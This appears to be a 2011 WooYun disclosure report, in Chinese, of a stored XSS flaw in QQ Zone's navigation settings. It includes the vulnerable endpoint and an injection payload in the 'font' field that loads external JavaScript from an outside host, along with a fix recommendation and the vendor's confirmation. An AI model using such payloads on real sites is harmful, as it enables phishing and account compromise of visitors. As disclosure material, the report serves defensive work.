漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-03320
漏洞标题:QQ空间XSS漏洞,加载任意外部javascript
相关厂商:腾讯
漏洞作者: gainover
提交时间:2011-11-15 23:30
修复时间:2011-12-15 23:30
公开时间:2011-12-15 23:30
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-11-15: 细节已通知厂商并且等待厂商处理中
2011-11-16: 厂商已经确认,细节仅向厂商公开
2011-11-26: 细节向核心白帽子及相关领域专家公开
2011-12-06: 细节向普通白帽子公开
2011-12-16: 细节向实习白帽子公开
2011-12-15: 细节向公众公开
简要描述:
QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!!仅测试哦,警察叔叔别抓我)或者其它方式来使用该漏洞。
详细说明:
详细说明,见漏洞证明过程。
漏洞证明:
由于浏览器对script标记处理上的一些差异,本测试中的利用代码,是IE-only的。 其它浏览器下的漏洞利用代码,没去构造。
1. 在QQ空间,保存导航信息的时候,请求如下。
http://w.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_setinfo?g_tk=496042128
POST的数据中,"font" 字段的内容未被过滤, 导致可以插入代码。
2. 发送数据时,font的内容插入以下代码
encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src="http://xssreport.sinaapp.com/t/22.js"),b:"')
3. -。- 写了个小工具,方便提交, 保存导航信息成功,如下图:
4. 刷新自己QQ空间,因为QQ空间的导航要加载以下地址。
http://r.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_getinfo?uin=228715××&tt=163323&g_tk=1637512342
加载内容如下:
callback(
{"font":"恶意构造的代码",
"size":12,
"bold":0,
"colors":"FFFFFF|ED1E79|29ABE2",
"items":[{"href":-1,
"name":"主页",
....
);
可以在内容里看到我们的恶意构造的JS
5. 因而可以看到我们调用的外部JS中弹出的提示。
修复方案:
保存导航信息时,过滤 font 字段的内容。
其实font的长度也可以设置的更短下,一般字体长度也没多长吧。。
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2011-11-16 08:48
厂商回复:
thx
最新状态:
暂无